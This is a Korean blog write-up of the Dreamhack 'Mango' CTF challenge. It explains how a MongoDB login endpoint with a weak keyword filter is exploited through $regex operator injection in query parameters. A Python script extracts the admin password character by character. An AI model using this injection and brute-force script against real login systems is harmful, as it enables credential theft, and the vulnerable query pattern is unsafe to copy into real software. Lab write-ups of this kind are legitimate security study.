암호(수학) 등.. 공부한 거 잊을거 같아서 만든 블로그

[Dreamhack] Mango 본문

Dreamhack/Web

[Dreamhack] Mango

h34hg0 2023. 5. 8. 21:52

문제


 

문제 파일 :  main.js

const express = require('express');
const app = express();

const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;

// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];

filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;

    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }
    })
});

app.get('/', function(req, res) {
    res.send('/login?uid=guest&upw=guest');
});

app.listen(8000, '0.0.0.0');

 


풀이


app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;

    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }
    })
});

 
위 코드를 보면 get 요청으로 uid ,upw 파라미터 값을 입력 받고, filter 함수를 통하여 확인 후 그 값이 db에 있으면 페이지에 uid 를 출력해준다.
 

const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;

 
db 는 mongodb 를 사용하는 것을 알 수 있다.
 

// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];

filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

 
filter 함수를 자세히 보면 상수 리스트 BAN 에 해당하는 문자열이 있으면 false를 리턴 하고, 결과적으로 페이지에 filter 를 출력한다. 
사용자의 입력 값인 uid, upw에 대한 검증은 admin, dh, admi 에 대한 필터링만 적용되어 있으므로 이는 정규표현식을 이용하여 우회할 수 있고, 자료형을 제한하지 않았으므로 injection 공격이 가능하다.
 

// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}

 
또한 위 주석을 통하여  uid가 admin인 계정의 upw 값이 flag 이고, 32개의 알파벳과 숫자로 이루어진 것을 알 수 있다.
 


    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }

 
파라미터를 입력하면 uid와 upw의 값에 맞는 계정을 찾아 존재하면 그 계정의 uid 를 출력해준다.
여기서 파라미터를 uid=admin 으로 할 경우 필터링되어 filter가 나오므로 정규표현식을 이용하여 우회한다.
파라미터는 /login?uid[$regex]=adm.n 과 같이 하면 된다. 그러면 전달되는 query에는 uid : "$regex" : "adm.n" 으로 되어
admin을 가리키게 된다.
( . 은 정규표현식에서 1개의 문자를 의미한다. )
 
upw 경우 전체를 한번에 출력할 방법이 없고, 길이가 짧고 범위가 크지 않기 때문에 한 문자씩 구한다.
 
 /login?uid[$regex]=adm.n&upw=D.{a
 /login?uid[$regex]=adm.n&upw=D.{b
 /login?uid[$regex]=adm.n&upw=D.{ba
 /login?uid[$regex]=adm.n&upw=D.{bc.....
...
이런 방법으로 해서 페이지에 admin이 나오면 맞는 문자이다.
DH{ 가 아닌 D.{ 인 이유는 dh 가필터링 되는 문자열이기 때문에 정규표현식을 이용하여 우회했다.
 
이걸 일일이 32자를 전부 할 수는 없으니 코드를 짜서 자동화 했다.
 

exploit.py

from requests import *
from  string import *

host = 'http://host3.dreamhack.games:11465'

str = digits + ascii_letters
char = ''
flag = ''

for length in range(32):
    for ch in str:
        char = flag + ch
        payload = f'{host}/login?uid[$regex]=adm.n&upw[$regex]=D.{{{char}'
        req = get(payload)
        if req.text.find("admin") >= 0:
            flag += ch
            break 

print(f'flag is DH{{{flag}}}')

 
위 코드를 이용하여 flag를 구할 수 있다.


 

'Dreamhack > Web' 카테고리의 다른 글

[Dreamhack] image-storage  (0) 2023.05.12
[Dreamhack] command-injection-1  (0) 2023.05.11
[Dreamhack] simple_sqli  (0) 2023.05.07
[Dreamhack] csrf-2  (0) 2023.04.16
[Dreamhack] csrf-1  (0) 2023.04.14